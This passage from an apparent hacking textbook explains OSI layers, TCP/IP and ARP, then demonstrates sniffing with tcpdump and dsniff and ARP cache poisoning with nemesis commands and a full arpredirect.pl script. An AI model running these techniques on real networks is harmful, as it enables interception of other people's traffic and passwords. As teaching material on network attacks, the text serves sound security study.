
0x300
NE TWORK ING

Network hacks follow the same principle as programming 
hacks: First, understand the rules of the system, and then, 
figure out how to exploit those rules to achieve a desired 
result.

0x310 What Is Networking?

Networking is all about communication, and in order for two or more parties to 
properly communicate, standards and protocols are required. Just as speaking 
Japanese to someone who only understands English doesn’t really accomplish much 
in terms of communication, computers and other pieces of network hardware must 
speak the same language in order to communicate effectively. This means a set of 
standards must be laid out ahead of time to create this language. These standards 
actually consist of more than just the language — they also contain the rules of 
communication. 

As an example, when a help desk support operator picks up the phone, 
information should be communicated and received in a certain order that follows 
protocol. The operator usually needs to ask for the caller’s name and the nature of 
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the problem before transferring the call to the appropriate department. This is 
simply the way the protocol works, and any deviation from this protocol tends to 
be counterproductive. 

Network communications has a standard set of protocols, too. These 
protocols are defined by the Open Systems Interconnection (OSI) reference 
model.

0x311 OSI Model

The Open Systems Interconnection (OSI) reference model provides a set of 
international rules and standards to allow any system obeying these protocols to 
communicate with other systems that use them. These protocols are arranged in 
seven separate but interconnected layers, each dealing with a different aspect of 
the communication. Among other things, this allows hardware, like routers and 
firewalls, to focus on the particular aspect of communication that applies to 
them, and ignore other parts. 

The seven OSI layers are as follows:

1. Physical layer: This layer deals with the physical connection between two 
points. This is the lowest layer, and its major role is communicating raw bit 
streams. This layer is also responsible for activating, maintaining, and deacti-
vating these bit-stream communications.

2. Data-link layer: This layer deals with actually transferring data between two 
points. The physical layer takes care of sending the raw bits, but this layer 
provides high-level functions, such as error correction and flow control. This 
layer also provides procedures for activating, maintaining, and deactivating 
data-link connections. 

3. Network layer: This layer works as a middle ground, and its key role is to 
pass information between lower and higher layers. It provides addressing 
and routing.

4. Transport layer: This layer provides transparent transfer of data between sys-
tems. By providing a means to reliably communicate data, this layer allows 
the higher layers to worry about other things besides reliable or cost-effective 
means of data transmission.

5. Session layer: This layer is responsible for establishing and then maintaining 
connections between network applications.

6. Presentation layer: This layer is responsible for presenting the data to appli-
cations in a syntax or language they understand. This allows for things like 
encryption and data compression.

7. Application layer: This layer is concerned with keeping track of the require-
ments of the application.

When data is communicated through these protocols, it’s sent in small pieces 
called packets. Each packet contains implementations of these protocols in layers. 
Starting from the application layer, the packet wraps the presentation layer 
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around that data, which wraps the session layer around that, which wraps the 
transport layer, and so forth. This process is called encapsulation. Each wrapped 
layer contains a header and a body: The header contains the protocol 
information needed for that layer, while the body contains the data for that layer. 
The body of one layer contains the entire package of previously encapsulated 
layers, like the skin of an onion or the functional contexts found on a program 
stack.

When two applications existing on two different private networks 
communicate across the Internet, the data packets are encapsulated down to the 
physical layer where they are passed to a router. Because the router isn’t 
concerned with what’s actually in the packets, it only needs to implement 
protocols up to the network layer. The router sends the packets out to the 
Internet, where they reach the other network’s router. This router then 
encapsulates this packet with the lower-layer protocol headers needed for the 
packet to reach its final destination. This process is shown in the following 
illustration.

This process can be thought of as an intricate interoffice bureaucracy, 
reminiscent of the movie Brazil. At each layer is a highly specialized receptionist 
who only understands the language and protocol of that layer. As data packets 
are transmitted, each receptionist performs the necessary duties of her particular 
layer, puts the packet in an interoffice envelope, writes the header on the 
outside, and passes it on to the receptionist at the next layer. This receptionist in 
turn performs the necessary duties of his layer, puts the entire envelope in 
another envelope, writes the header on the outside, and passes it on to the next 
receptionist. 

Each receptionist is only aware of the functions and duties of his or her layer. 
These roles and responsibilities are defined in a strict protocol, eliminating the 
need for any real intelligence once the protocol is learned. This type of 
uninspired and repetitive work may not be desirable for humans, but it’s ideal 
work for a computer. The creativity and intelligence of a human mind is better 
suited to the design of protocols such as these, the creation of programs that 
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implement them, and the invention of hacks that use them to achieve interesting 
and unintended results. But as with any hack, an understanding of the rules of 
the system is needed before they can be put together in new ways.

0x320 Interesting Layers in Detail

The network layer itself, the transport layer above it, and the data-link layer 
below it all have peculiarities that can be exploited. As these layers are explained, 
try to identify areas that might be prone to attack. 

0x321 Network Layer

Returning to the receptionist and bureaucracy analogy, the network layer is like 
the worldwide postal service: an addressing and delivery method used to send 
things everywhere. The protocol used on this layer for Internet addressing and 
delivery is appropriately called Internet Protocol (IP). The majority of the 
Internet uses IP version 4, so unless otherwise stated, that’s what IP refers to in 
this book. 

Every system on the Internet has an IP address. This consists of an 
arrangement of four bytes in the form of xx.xx.xx.xx, which should be familiar to 
you. In this layer, both IP packets and Internet Control Message Protocol (ICMP) 
packets exist. IP packets are used for sending data, and ICMP packets are used 
for messaging and diagnostics. IP is less reliable than the post office, which 
means that there’s no guarantee that an IP packet will actually reach its final 
destination. If there’s a problem, an ICMP packet is sent back to notify the 
sender of the problem. 

ICMP is also commonly used to test for connectivity. ICMP Echo Request 
and Echo Reply messages are used by a utility called ping. If one host wants to 
test whether it can route traffic to another host, it pings the remote host by 
sending an ICMP Echo Request. Upon receipt of the ICMP Echo Request, the 
remote host sends back an ICMP Echo Reply. These messages can be used to 
determine the connection latency between the two hosts. However, it is 
important to remember that ICMP and IP are both connectionless; all this 
protocol layer really cares about is trying its hardest to get the packet to its 
destination address. 

Sometimes a network link will have a limitation on packet size, disallowing 
the transfer of large packets. IP can deal with this situation by fragmenting 
packets, like this: 
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The packet is broken up into smaller packet fragments that can pass through the 
network link, IP headers are put on each fragment, and they’re sent off. Each 
fragment has a different fragment offset value, which is stored in the header. 
When the destination receives these fragments, the offset values are used to 
reassemble the IP packet. 

Provisions such as fragmentation aid in the delivery of IP packets, but this 
does nothing to maintain connections or ensure delivery. This is the job of the 
protocols on the transport layer.

0x322 Transport Layer

The transport layer can be thought of as the first line of receptionists, picking up 
the mail from the network layer. If a customer wants to return a defective piece 
of merchandise, they might have to send a message requesting an RMA (Return 
Material Authorization) number. Then the receptionist would follow the return 
protocol, ask for a receipt, and eventually issue an RMA number so the customer 
can mail the product in. The post office is only concerned with sending these 
messages (and packages) back and forth, not with what’s in them. 

The two major protocols in this layer are Transport Control Protocol (TCP) 
and User Datagram Protocol (UDP). TCP is the most commonly used protocol 
for services on the Internet: Telnet, HTTP (web traffic), SMTP (email traffic), 
and FTP (file transfers) all use TCP. One of the reasons for TCP’s popularity is 
that it provides a transparent, yet reliable and bi-directional, connection between 
two IP addresses. A bi-directional connection in TCP is similar to using a 
telephone — after dialing a number, a connection is made through which both 
parties can communicate. Reliability simply means that TCP will ensure that all 
the data will reach its destination in the proper order. If the packets of a 
connection get jumbled up and arrive out of order, TCP will make sure they’re 
put back in order before handing the data up to the next layer. If some packets 
in the middle of a connection are lost, the destination will hold on to the packets 
it has while the source retransmits the missing packets.

Header Data Data continued More data

Large IP packet

Packet fragments

Header Data

Header Data continued

Header More data
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All of this functionality is made possible by a set of flags called TCP flags, and 
by tracking values called sequence numbers. The TCP flags are as follows:

The SYN and ACK flags are used together to open connections in a three-step 
handshaking process. When a client wants to open a connection with a server, a 
packet with the SYN flag on, but the ACK flag off, is sent to the server. The server 
then responds with a packet that has both the SYN and ACK flags turned on. To 
complete the connection, the client sends back a packet with the SYN flag off but 
the ACK flag on. After that, every packet in the connection will have the ACK flag 
turned on and the SYN flag turned off. Only the first two packets of the 
connection have the SYN flag on, because those packets are used to synchronize 
sequence numbers.

Sequence numbers are used to ensure the aforementioned reliability. These 
sequence numbers allow TCP to put unordered packets back into order, to 
determine whether packets are missing, and to prevent packets from other 
connections getting mixed together. 

TCP Flag Meaning Purpose

URG Urgent Identifies important data
ACK Acknowledgment Acknowledges a connection; it is turned on for the 

majority of the connection
PSH Push Tells the receiver to push the data through instead of 

buffering it
RST Reset Resets a connection
SYN Synchronize Synchronizes sequence numbers during the beginning of 

a connection
FIN Finish Gracefully closes a connection when both sides say 

good-bye

SYN packet
SYN on   ACK off
seq # = 324808530
ack # = 0

SYN/ACK packet
SYN on   ACK on
seq # = 288666267
ack # = 324808531

ACK packet
SYN off  ACK on
seq # = 324808531
ack # = 288666268

Client Server
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When a connection is initiated, each side generates an initial sequence 
number. This number is communicated to the other side in the first two SYN 
packets of the connection handshake. Then, with each packet that is sent, the 
sequence number is incremented by the number of bytes found in the data 
portion of the packet. This sequence number is included in the TCP packet 
header. In addition, each TCP header also has an acknowledgment number, 
which is simply the other side’s sequence number plus one.

TCP is great for applications where reliability and bi-directional 
communication are needed. However, the cost of this functionality is paid in 
communication overhead. 

UDP has much less overhead and built-in functionality than TCP. This lack 
of functionality makes it behave much like the IP protocol: It is connectionless 
and unreliable. Instead of using built-in functionality to create connections and 
maintain reliability, UDP is an alternative that expects the application to deal 
with these issues. Sometimes connections aren’t needed, and UDP is a much 
more lightweight way to deal with these situations.

0x323 Data-Link Layer

If the network layer is thought of as a worldwide postal system, and the physical 
layer is thought of as interoffice mail carts, the data-link layer is the system of 
interoffice mail. This layer provides a way to address and send messages to 
anyone else in the office, as well as a method to figure out who’s in the office. 

Ethernet exists on this layer, and the layer provides a standard addressing 
system for all Ethernet devices. These addresses are known as Media Access 
Control (MAC) addresses. Every Ethernet device is assigned a globally unique 
address consisting of six bytes, usually written in hexadecimal in the form 
xx:xx:xx:xx:xx:xx. These addresses are also sometimes referred to as hardware 
addresses, because the address is unique to each piece of hardware and is stored 
on the device in integrated circuit memory. MAC addresses can be thought of as 
Social Security numbers for hardware, because each piece of hardware is 
supposed to have a unique MAC address. 

Ethernet headers contain a source address and a destination address, which 
are used to route Ethernet packets. Ethernet addressing also has a special 
broadcast address, consisting of all binary 1s (ff:ff:ff:ff:ff:ff). Any Ethernet packet 
sent to this address will be sent to all the connected devices.

The MAC address isn’t meant to change, but an IP address may change 
regularly. IP operates on the layer above, so it isn’t concerned with the hardware 
addresses, but a method is needed to correlate the two addressing schemes. This 
method is known as Address Resolution Protocol (ARP). 

There are actually four different types of ARP messages, but the two 
important messages are ARP request messages and ARP reply messages. An ARP 
request is a message that is sent to the broadcast address that contains the 
sender’s IP address and MAC address and basically says, “Hey, who has this IP? If 
it’s you, please respond and tell me your MAC address.” An ARP reply is the 
corresponding response that is sent to a specific MAC address (and IP address) 
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and basically says, “This is my MAC address, and I have this IP address.” Most 
implementations will temporarily cache the MAC/IP address pairs that are 
received from ARP replies, so that ARP requests and replies aren’t needed for 
every single packet.

For example, if one system has the IP address 10.10.10.20 and MAC address 
00:00:00:aa:aa:aa, and another system on the same network has the IP address 
10.10.10.50 and MAC address 00:00:00:bb:bb:bb, neither system can 
communicate with the other until they know each other’s MAC addresses. 

If the first system wants to establish a TCP connection over IP on the second 
device’s IP address of 10.10.10.50, the first system will first check its ARP cache to 
see if an entry exists for 10.10.10.50. Because this is the first time these two 
systems are trying to communicate, there will be no entry, and an ARP request 
will be sent out to the broadcast address. This ARP request will essentially say, “If 
you are 10.10.10.50, please respond to me at 00:00:00:aa:aa:aa.” Because this 
request goes out over the broadcast address, every system on the network sees the 
request, but only the system with the corresponding IP address is meant to 
respond. In this case, the second system responds with an ARP reply that is sent 
directly back to 00:00:00:aa:aa:aa saying, “I am 10.10.10.50 and I’m at 
00:00:00:bb:bb:bb.” The first system receives this reply, caches the IP and MAC 
address pair in its ARP cache, and uses the hardware address to communicate.

0x330 Network Sniffing

Also on the data-link layer lies the distinction between switched and unswitched 
networks. On an unswitched network, Ethernet packets pass through every device 
on the network, expecting each system device to only look at packets sent to its 
destination address. However, it’s fairly trivial to set a device to promiscuous mode,
which causes it to look at all packets, regardless of the destination address. Most 
packet-capturing programs, such as tcpdump, drop the device they are listening 
to into promiscuous mode by default. Promiscuous mode can be set using 
ifconfig, as seen in the following output.

# ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:00:AD:D1:C7:ED

          BROADCAST MULTICAST  MTU:1500  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

First system
IP: 10.10.10.20

MAC: 00:00:00:aa:aa:aa

Second system
IP: 10.10.10.50

MAC: 00:00:00:bb:bb:bb

ARP reply

Source MAC:

Dest MAC:

00:00:00:bb:bb:bb

00:00:00:aa:aa:aa

"10.10.10.50 is at 00:00:00:bb:bb:bb"

ARP request
Source MAC:

Dest MAC:

00:00:00:aa:aa:aa

ff:ff:ff:ff:ff:ff

"Who has 10.10.10.50?"
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          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

          Interrupt:9 Base address:0xc000

# ifconfig eth0 promisc

# ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:00:AD:D1:C7:ED

          BROADCAST PROMISC MULTICAST  MTU:1500  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

          Interrupt:9 Base address:0xc000

# 

The act of capturing packets that aren’t necessarily meant for public viewing is 
called sniffing. Sniffing packets in promiscuous mode on an unswitched network 
can turn up all sorts of useful information, as the following output shows. 

# tcpdump -l -X 'ip host 192.168.0.118'

tcpdump: listening on eth0

21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 17316 

<nop,nop,timestamp 466808 920202> (DF)

0x0000   4500 005d e065 4000 8006 97ad c0a8 0076        E..].e@........v

0x0010   c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8        ........)..s^...

0x0020   8018 43a4 a12f 0000 0101 080a 0007 1f78        ..C../.........x

0x0030   000e 0a8a 3232 3020 5459 5053 6f66 7420        ....220.TYPSoft.

0x0040   4654 5020 5365 7276 6572 2030 2e39 392e        FTP.Server.0.99.

0x0050   3133                                           13

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 

<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]

0x0000   4510 0034 966f 4000 4006 21bd c0a8 00c1        E..4.o@.@.!.....

0x0010   c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c        ...v....^...)...

0x0020   8010 16d0 81db 0000 0101 080a 000e 0c56        ...............V

0x0030   0007 1f78                                      ...x

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 

<nop,nop,timestamp 921434 466808> (DF) [tos 0x10]

0x0000   4510 0040 9670 4000 4006 21b0 c0a8 00c1        E..@.p@.@.!.....

0x0010   c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c        ...v....^...)...

0x0020   8018 16d0 edd9 0000 0101 080a 000e 0f5a        ...............Z

0x0030   0007 1f78 5553 4552 206c 6565 6368 0d0a        ...xUSER.leech..

21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 win 

17304 <nop,nop,timestamp 466885 921434> (DF)

0x0000   4500 0056 e0ac 4000 8006 976d c0a8 0076        E..V..@....m...v

0x0010   c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4        ........)...^...

0x0020   8018 4398 4e2c 0000 0101 080a 0007 1fc5        ..C.N,..........

0x0030   000e 0f5a 3333 3120 5061 7373 776f 7264        ...Z331.Password



148 0x300

0x0040   2072 6571 7569 7265 6420 666f 7220 6c65        .required.for.le

0x0050   6563                                           ec

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 

<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]

0x0000   4510 0034 9671 4000 4006 21bb c0a8 00c1        E..4.q@.@.!.....

0x0010   c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe        ...v....^...)...

0x0020   8010 16d0 7e5b 0000 0101 080a 000e 0f5b        ....~[.........[

0x0030   0007 1fc5                                      ....

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 win 

5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]

0x0000   4510 0042 9672 4000 4006 21ac c0a8 00c1        E..B.r@.@.!.....

0x0010   c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe        ...v....^...)...

0x0020   8018 16d0 90b5 0000 0101 080a 000e 10d1        ................

0x0030   0007 1fc5 5041 5353 206c 3840 6e69 7465        ....PASS.l8@nite

0x0040   0d0a                                           ..

21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 win 

17290 <nop,nop,timestamp 466923 921809> (DF)

0x0000   4500 004f e0cc 4000 8006 9754 c0a8 0076        E..O..@....T...v

0x0010   c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02        ........)...^...

0x0020   8018 438a 4c8c 0000 0101 080a 0007 1feb        ..C.L...........

0x0030   000e 10d1 3233 3020 5573 6572 206c 6565        ....230.User.lee

0x0040   6368 206c 6f67 6765 6420 696e 2e0d 0a          ch.logged.in...

Services such as telnet, FTP, and POP3 are unencrypted. In the preceding 
example, the user leech is seen logging in to an FTP server using the password 
l8@nite. Because the authentication process during login is also unencrypted, 
usernames and passwords are simply contained in the data portions of the 
transmitted packets. 

Tcpdump is a wonderful, general-purpose packet sniffer, but there are 
specialized sniffing tools designed specifically to search for usernames and 
passwords. One notable example is Dug Song’s program, dsniff.

# dsniff -n

dsniff: listening on eth0

-----------------

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)

USER leech

PASS l8@nite

-----------------

12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)

USER root

PASS 5eCr3t
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Even without the assistance of a tool like dsniff, it’s fairly trivial for an attacker 
sniffing the network to find the usernames and passwords in these packets and 
use them to compromise other systems. From a security perspective, this 
generally isn’t too good, so more intelligent switches provide switched network 
environments. 

0x331 Active Sniffing

In a switched network environment, packets are only sent to the port they are 
destined to, according to their destination MAC addresses. This requires more 
intelligent hardware that can create and maintain a table associating MAC 
addresses with certain ports, depending on which device is connected to each 
port, as illustrated here: 

The advantage of a switched environment is that devices are only sent packets 
that are meant for them, meaning that promiscuous devices aren’t able to sniff 
any additional packets. But even in a switched environment, there are clever ways 
to sniff other devices’ packets; they just tend to be a bit more complex. In order 
to find hacks like these, the details of the protocols must be examined and then 
combined.

One important detail of network communications that can be manipulated 
for interesting effects is the source address. There’s no provision in these 
protocols to ensure that the source address in a packet really is the address of the 
source machine. The act of forging a source address in a packet is known as 
spoofing. The addition of spoofing to the bag of tricks greatly increases the 
number of possible hacks, because most systems expect the source address to 
be valid. 

Spoofing is the first step in sniffing packets on a switched network. The other 
two interesting details are found in ARP. First, when an ARP reply comes in with 
an IP address that already exists in the ARP cache, the receiving system will 
overwrite the prior MAC address information with the new information found in 
the reply (unless that entry in the ARP cache was explicitly marked as 
permanent). The second detail of ARP is that systems will accept an ARP reply 
even if they didn’t send out an ARP request. This is because state information 
about the ARP traffic isn’t kept, because this would require additional memory 
and would complicate a protocol that is meant to be simple. 

Port / MAC table

Port 1 - 00:00:00:AA:AA:AA
Port 2 - 00:00:00:BB:BB:BB
Port 3 - 00:00:00:CC:CC:CC

Switch

1 2 3

00:00:00:AA:AA:AA 00:00:00:BB:BB:BB 00:00:00:CC:CC:CC
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These three details, when exploited properly, can allow an attacker to sniff 
network traffic on a switched network with a technique known as ARP redirection.
The attacker sends spoofed ARP replies to certain devices that cause the ARP 
cache entries to be overwritten with the attacker’s data. This technique is called 
ARP cache poisoning. In order to sniff network traffic between two points, A and B,
the attacker needs to poison the ARP cache of A to cause A to believe that B’s IP 
address is at the attacker’s MAC address, and also poison the ARP cache of B to 
cause B to believe that A’s IP address is also at the attacker’s MAC address. Then 
the attacker’s machine simply needs to forward these packets to their 
appropriate final destinations, and all of the traffic between A and B still gets 
delivered, but it all flows through the attacker’s machine, as shown here: 

Because A and B are wrapping their own Ethernet headers on their packets based 
on their respective ARP caches, A’s IP traffic meant for B is actually sent to the 
attacker’s MAC address, and vice versa. The switch only filters traffic based on 
MAC address, so the switch will work as it’s designed to, sending A’s and B’s IP 
traffic, destined for the attacker’s MAC address, to the attacker’s port. Then the 
attacker rewraps the IP packets with the proper Ethernet headers and sends 
them back out to the switch, where they are finally routed to their proper 
destination. The switch works properly; it’s the victim machines that are tricked 
into redirecting their traffic through the attacker’s machine.

Due to time-out values, the victim machines will periodically send out real 
ARP requests and receive real ARP replies in response. In order to maintain the 
redirection attack, the attacker must keep the victim machine’s ARP caches 
poisoned. A simple way to accomplish this is to simply send spoofed ARP replies 
to both A and B at a constant interval, perhaps every ten seconds.

A gateway is a system that routes all the traffic from a local network out to the 
Internet. ARP redirection is particularly interesting when one of the victim 
machines is the default gateway, because the traffic between the default gateway 
and another system is that system’s Internet traffic. For example, if a machine at 
192.168.0.118 is communicating with the gateway at 192.168.0.1 over a switch, 

Internal ARP cache
192.168.0.200 at 00:00:00:FA:CA:DE
Internal ARP cache
192.168.0.200 at 00:00:00:FA:CA:DE

System A
IP:  192.168.0.100
MAC: 00:00:00:AA:AA:AA

Internal ARP cache
192.168.0.100 at 00:00:00:FA:CA:DE
Internal ARP cache
192.168.0.100 at 00:00:00:FA:CA:DE

System B
IP:  192.168.0.200
MAC: 00:00:00:BB:BB:BB

192.168.0.200 at 00:00:00:BB:BB:BB192.168.0.200 at 00:00:00:BB:BB:BB

Attacker system
IP:  192.168.0.137

Traffic to A

Traffic to B
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the traffic will be restricted by MAC address. This means that this traffic cannot 
normally be sniffed, even in promiscuous mode. In order to sniff this traffic, it 
must be redirected.

To redirect the traffic, first the MAC addresses of 192.168.0.118 and 
192.168.0.1 need to be determined. This can be done by pinging these hosts, 
because any IP connection attempt will use ARP.

# ping -c 1 -w 1 192.168.0.1

PING 192.168.0.1 (192.168.0.1): 56 octets data

64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms

--- 192.168.0.1 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

# ping -c 1 -w 1 192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56 octets data

64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms

--- 192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

# arp -na

? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0

? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0

# ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:00:AD:D1:C7:ED

          inet addr:192.168.0.193  Bcast:192.168.0.255  Mask:255.255.255.0

          UP BROADCAST NOTRAILERS RUNNING  MTU:1500  Metric:1

          RX packets:4153 errors:0 dropped:0 overruns:0 frame:0

          TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          RX bytes:601686 (587.5 Kb)  TX bytes:288567 (281.8 Kb)

          Interrupt:9 Base address:0xc000

#

After pinging, the MAC addresses for both 192.168.0.118 and 192.168.0.1 are in 
the ARP cache. This information is needed in the ARP cache so the packets can 
reach their final destinations after being redirected to the attacker’s machine. 
Assuming IP-forwarding capabilities are compiled into the kernel, all that’s 
needed now are some spoofed ARP replies at regular intervals. 192.168.0.118 
needs to be told that 192.168.0.1 is at 00:00:AD:D1:C7:ED, and 192.168.0.1 needs 
to be told that 192.168.0.118 is also at 00:00:AD:D1:C7:ED. These spoofed ARP 
packets can be injected using a command-line packet-injection tool called 
nemesis. Nemesis was originally a suite of tools written by Mark Grimes, but in the 
most recent 1.4 version the functionality has been rolled up into a single utility 
by the new maintainer and developer, Jeff Nathan.
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# nemesis

NEMESIS -=- The NEMESIS Project Version 1.4beta3 (Build 22)

NEMESIS Usage:

  nemesis [mode] [options]

NEMESIS modes:

  arp

  dns

  ethernet

  icmp

  igmp

  ip

  ospf (currently non-functional)

  rip

  tcp

  udp

NEMESIS options:

  To display options, specify a mode with the option "help".

# nemesis arp help

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

ARP/RARP Usage:

  arp [-v (verbose)] [options]

ARP/RARP Options:

  -S <Source IP address>

  -D <Destination IP address>

  -h <Sender MAC address within ARP frame>

  -m <Target MAC address within ARP frame>

  -s <Solaris style ARP requests with target hardware addess set to broadcast>

  -r ({ARP,RARP} REPLY enable)

  -R (RARP enable)

  -P <Payload file>

Data Link Options:

  -d <Ethernet device name>

  -H <Source MAC address>

  -M <Destination MAC address>

You must define a Source and Destination IP address.

#
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# nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 

00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

     [Ethernet type] ARP (0x0806)

  [Protocol addr:IP] 192.168.0.1 > 192.168.0.118

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

        [ARP opcode] Reply

  [ARP hardware fmt] Ethernet (1)

  [ARP proto format] IP (0x0800)

  [ARP protocol len] 6

  [ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

# nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 

00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

               [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

     [Ethernet type] ARP (0x0806)

  [Protocol addr:IP] 192.168.0.118 > 192.168.0.1

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

        [ARP opcode] Reply

  [ARP hardware fmt] Ethernet (1)

  [ARP proto format] IP (0x0800)

  [ARP protocol len] 6

  [ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

#

These two commands spoof ARP replies from 192.168.0.1 to 192.168.0.118, and 
vice versa, both claiming that their MAC address is at the attacker’s MAC address 
of 00:00:AD:D1:C7:ED. If these commands are repeated every ten seconds, as can 
be done with the following Perl command, these bogus ARP replies will continue 
to keep the ARP caches poisoned and the traffic redirected.
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# perl -e 'while(1){print "Redirecting...\n"; system("nemesis arp -v -r -d eth0 -S 

192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 

00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30"); system("nemesis arp -v -r -d eth0 -S 

192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 

00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01");sleep 10;}'

Redirecting...

Redirecting...

This entire process can be automated by a Perl script, like the following.

arpredirect.pl

#!/usr/bin/perl

$device = "eth0";

$SIG{INT} = \&cleanup;  # Trap for Ctrl-C, and send to cleanup

$flag = 1;

$gw = shift;            # First command line arg

$targ = shift;          # Second command line arg

if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)

{  # Perform input validation; if bad, exit.

  die("Usage: arpredirect.pl <gateway> <target>\n");

}

# Quickly ping each target to put the MAC addresses in cache

print "Pinging $gw and $targ to retrieve MAC addresses...\n";

system("ping -q -c 1 -w 1 $gw > /dev/null");

system("ping -q -c 1 -w 1 $targ > /dev/null");

# Pull those addresses from the arp cache

print "Retrieving MAC addresses from arp cache...\n";

$gw_mac = qx[/sbin/arp -na $gw];

$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);

$targ_mac = qx[/sbin/arp -na $targ];

$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);

# If they're not both there, exit.

if($gw_mac  !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)

{

  die("MAC address of $gw not found.\n");

}

if($targ_mac  !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)

{

  die("MAC address of $targ not found.\n");
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}

# Get your IP and MAC

print "Retrieving your IP and MAC info from ifconfig...\n";

@ifconf = split(" ", qx[/sbin/ifconfig $device]);

$me = substr(@ifconf[6], 5);

$me_mac = @ifconf[4];

print "[*] Gateway: $gw is at $gw_mac\n";

print "[*] Target:  $targ is at $targ_mac\n";

print "[*] You:     $me is at $me_mac\n";

while($flag)

{ # Continue poisoning until ctrl-C

  print "Redirecting:  $gw -> $me_mac <- $targ";

  system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H 

$me_mac -M $targ_mac");

  system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H 

$me_mac -M $gw_mac");

  sleep 10;

}

sub cleanup

{ # Put things back to normal

  $flag = 0;

print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to normal.";

  system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H 

$gw_mac -M $targ_mac");

  system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H 

$targ_mac -M $gw_mac");

}

# ./arpredirect.pl

Usage: arpredirect.pl <gateway> <target>

# ./arpredirect.pl 192.168.0.1 192.168.0.118

Pinging 192.168.0.1 and 192.168.0.118 to retrieve MAC addresses...

Retrieving MAC addresses from arp cache...

Retrieving your IP and MAC info from ifconfig...

[*] Gateway: 192.168.0.1 is at 00:50:18:00:0F:01

[*] Target:  192.168.0.118 is at 00:C0:F0:79:3D:30

[*] You:     192.168.0.193 is at 00:00:AD:D1:C7:ED

Redirecting:  192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118

ARP Packet Injected

ARP Packet Injected

Redirecting:  192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118

ARP Packet Injected

ARP Packet Injected

Ctrl-C caught, exiting cleanly.

Putting arp caches back to normal.
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ARP Packet Injected

ARP Packet Injected

#

0x340 TCP/IP Hijacking

